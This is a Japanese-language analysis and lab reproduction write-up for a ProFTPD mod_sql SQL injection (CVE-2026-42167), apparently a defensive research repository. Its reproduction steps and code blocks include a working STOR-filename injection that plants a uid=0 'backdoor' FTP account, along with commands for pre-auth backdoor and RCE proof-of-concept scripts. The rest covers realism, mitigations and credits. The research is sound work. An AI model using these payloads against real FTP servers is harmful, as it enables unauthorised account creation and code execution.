構造チェックは純粋に構造的なものであり、*「信頼できるコードによって既にエスケープされている」* と *「攻撃者が既にエスケープされているように見せかけて作成した」* を区別することはできません。
`'<no-internal-quotes>'` に一致するクライアント提供の値は `sql_escapestring` をスキップし、最終的なクエリにそのまま連結されます。

標準的で文書化された設定では、`%U` / `%{basename}` / `%m` を単一引用符で囲みます。```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog        ERR_*       log_activity

- 両方のコンテナは `setup/docker-compose.yml` で起動します。
- `setup/proftpd.conf` は脆弱なログ設定を有効にします（§1 参照）。
- `setup/seed.sql` は `users`、`groups`、`activity_log`、`xfer_log`、
  および `secrets` を作成し、さらに単一の正規 FTP ユーザー `ftpuser / ftppass` を追加します。

---

## 3. 再現 — コピー＆ペースト

前提条件: Docker Desktop、Python 3.10+、git。（`uv` は任意です。PoC は stdlib のみで動作します。）```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc

# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
#   - clones proftpd source pinned to ae25959a (vulnerable)
#   - builds with --with-modules=mod_sql:mod_sql_postgres
#   - starts both containers, waits for healthchecks

# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121

# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "SELECT userid,uid,gid,homedir,shell FROM users;"

# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
  --host localhost --port 2121 --user ftpuser --password ftppass

# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt

# 7) tear down
cd setup && ./teardown.sh

仕組み:

1. **外側の引用符 + 内部に引用符がない**ことで
   `is_escaped_text()` と一致 → エスケープがスキップされる。
2. 設定された `SQLNamedQuery` は `INSERT "'%U', '%r', '%m'" activity_log`
   なので、レンダリングされたSQLは
   `INSERT INTO activity_log VALUES('<payload>', '<%r>', '<%m>')` になる — ただし
   `<payload>` 自体が `'` で始まるため、実効クエリは
   `INSERT INTO activity_log VALUES('', null, null); INSERT INTO users
   VALUES($$backdoor$$,…); --', '<%r>', '<%m>')` となる。
3. `--` が末尾のフォーマットスロットをコメントアウトする。
4. `$$…$$` PostgreSQLのドル引用符により、`'` を一切使わずに文字列（`backdoor`、
   `pwned123`、`/`、`/bin/bash`）を渡せる — `is_escaped_text()` の
   バイパスを維持できる。
5. 失敗したログインで `SQLLog ERR_*` が発火 → `PQexec()` がスタックされた
   `INSERT INTO users` を実行 → 認証テーブルにバックドアアカウントが存在するようになる。

### 認証後バックドア（`STOR` ファイル名、`%{basename}`）```
STOR ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, chr(47), chr(47)); --'

`<shell-cmd>` は任意のコマンドです。PostgreSQL はこれを **データベース** ホスト上で `postgres` OS ユーザーとして `/bin/sh` 経由で実行します。`mod_sql` が使用する DB ロールがスーパーユーザー（または `pg_execute_server_program` のメンバー）である必要があります。これはシングルテナント展開では一般的であり、`POSTGRES_USER` 経由でロールが作成された場合の公式 `postgres` Docker イメージのデフォルトでもあります。

---

## 5. 再現中に取得された証拠

| ファイル | 内容 |
|---|---|
| `logs/01_preauth_backdoor.log` | 事前認証 PoC の出力。`backdoor` としてのログインが成功（`230`） |
| `logs/02_db_users_after.log` | `users` テーブルに `backdoor / pwned123 / uid=0` が含まれるようになった |
| `logs/03_postauth_stor_backdoor.log` | STOR `%{basename}` 経由の事後認証 PoC の出力 |
| `logs/05_preauth_rce_marker.log` | FTP 経由で送信されたマーカーペイロード |
| `logs/06_users_final.log` | 最終的な `users` テーブルの状態 |
| `logs/07_proftpd_trace.log` | ProFTPD 自身のトレースログ。各注入ペイロードに対して `text '…' is already escaped, skipping escaping it again` を出力 — 攻撃者入力に対して `is_escaped_text()` が TRUE を返した直接的な証拠 |
| `logs/08_rce_proof.log` | postgres コンテナ上で *postgres ユーザーによって* 書き込まれた `/tmp/cve-2026-42167-rce.txt` |
| `screenshots/*.png` | キャプチャされた各ターミナルセッションの PNG レンダリング |

トレースログの行が決定的な証拠です。```
2026-04-29 06:35:11,297 [548] <sql:17>: text '', null, null); INSERT INTO users
  VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --''
  is already escaped, skipping escaping it again

## 8. これは現実的なのか、それとも作為的なエッジケースなのか？

正直な答えはこうだ：**「パケットを1つ送ればサーバーを乗っ取れる」ワームよりは狭いが、脆弱なパターンはProFTPD自身のドキュメントに記載されているものなので、作為的ではない。** 3つの独立した要素が、特定のデプロイ環境が影響を受けるかどうかを決定し、それぞれが対象となる母集団を絞り込んでいく。

### 8.1 `mod_sql`はそもそもロードされているのか？

`mod_sql`はオプトインである。デフォルトのProFTPDビルドには**含まれておらず**、Debianの`proftpd-basic`のようなディストリビューションパッケージのデフォルト設定にも含まれていない。以下の場合にのみ利用できる：

- `--with-modules=mod_sql:mod_sql_<backend>`を指定してコンパイルした場合、または
- バックエンド固有のパッケージをインストールした場合：Debianの`proftpd-mod-pgsql` / `proftpd-mod-mysql` / `proftpd-mod-sqlite`、RHELの`proftpd-postgresql` / `proftpd-mysql`。

これらのパッケージをインストールする理由は明確だ：SQLバックアップの**認証**（`/etc/passwd`の代わりにDB内のユーザー）または監査用のSQLバックアップの**アクティビティログ**である。どちらも共有ホスティング、マネージドFTP、企業のFTPドロップ環境では一般的である。つまり、`mod_sql`はインストールベースの実質的な部分を占めている — ただし「すべてのサーバー」というわけではない。

### 8.2 脆弱な`SQLNamedQuery`パターンは実際に使われているのか？

ここが現実味が最も高い部分である。バグを引き起こすパターンは*文書化されたものそのもの*である。固定された脆弱なコミット時点のアップストリームツリーから直接引用した例：```
# doc/contrib/mod_sql.html  ── canonical example
SQLNamedQuery insertfileinfo INSERT "'%f', %b, '%u@%v', now()" filehistory
SQLLog        RETR,STOR      insertfileinfo

# doc/howto/SQL.html
SQLNamedQuery log_sess FREEFORM "INSERT INTO login_history
  (user, client_ip, server_ip, protocol, when)
  VALUES ('%u', '%a', '%V', '%{protocol}', NOW())"
SQLLog        PASS    log_sess IGNORE_ERRORS

# doc/modules/mod_redis.html
SQLNamedQuery upload FREEFORM "INSERT INTO ftplogs (...) VALUES
  ('%u', '%H', NOW(), '%r', ..., '%f', ...)"
SQLLog        STOR    upload

---

## 10. 推奨事項

ProFTPD `mod_sql` を実行しているすべての方へ:

- いずれにせよ **1.3.9a 以上へアップグレード** してください。これが唯一の完全な修正です。
- パッチ適用までの**代替策**:
  - DB ロールを **非スーパーユーザー** に変更 — PostgreSQL での RCE 経路を無効化します。
  - `users` / 認証テーブルに、紛れ込んだ `uid=0` 行や最近追加されたアカウントがないか監査 — §6 を参照。
  - `Trace sql:17` を有効にし、`trace.log` で `is already escaped, skipping escaping it again` を grep — この行はバイパス試行の直接的な証拠です。
  - 可能であれば、`SQLLog ERR_*` ディレクティブと、`%U`（事前認証プリミティブ）を補間する `SQLNamedQuery INSERT` 形式を削除してください。事後認証パスは `%u` / `%{basename}` 経由で依然として存在しますが、最悪のケースは排除できます。

---

## 11. 結論

- これは **「デフォルトインストールの脆弱性」ではありません** — `mod_sql` を実行している必要があります。
- これは **「ドキュメントに従った場合の脆弱性」です** — 危険なクォートパターンは公式のものであり、上流の HOWTO 全体にコピー＆ペーストされています。
- 見出しにある **完全に未認証のシナリオ** は現実的ですが、特定の（事前認証 `%U` + `SQLLog ERR_*` ワイルドカード）設定の組み合わせが必要であり、事後認証パスほど一般的ではありません。
- **事後認証の権限昇格シナリオ**（任意の FTP ユーザー → uid=0 FTP バックドア）は、はるかに現実的であり、文書化されたロギングパターンを使用する `mod_sql` + PostgreSQL/SQLite デプロイの大部分に影響します。
- **DB ホストでの OS レベルの RCE** は、DB ロールがスーパーユーザーである場合に限られます — シングルテナント / アプライアンス型のセットアップでは一般的ですが、DBA 管理環境ではあまり一般的ではありません。

---

## クレジット

- 脆弱性を発見し、最初に公開したのは [ZeroPath Research](https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce) です。
- 公開 PoC リポジトリ: [ZeroPathAI/proftpd-CVE-2026-42167-poc](https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc)。
- 修正は TJ Saunders によるもので、コミット [`e6f72848`](https://github.com/proftpd/proftpd/commit/e6f728481b25e2a79590c1c1043417f0232e2f48)（「Issue #2052」）です。

このリポジトリは、防御的な研究と教育のための独立した再現および分析です。0-day は含まれません。テストを許可されたシステムでのみ使用してください。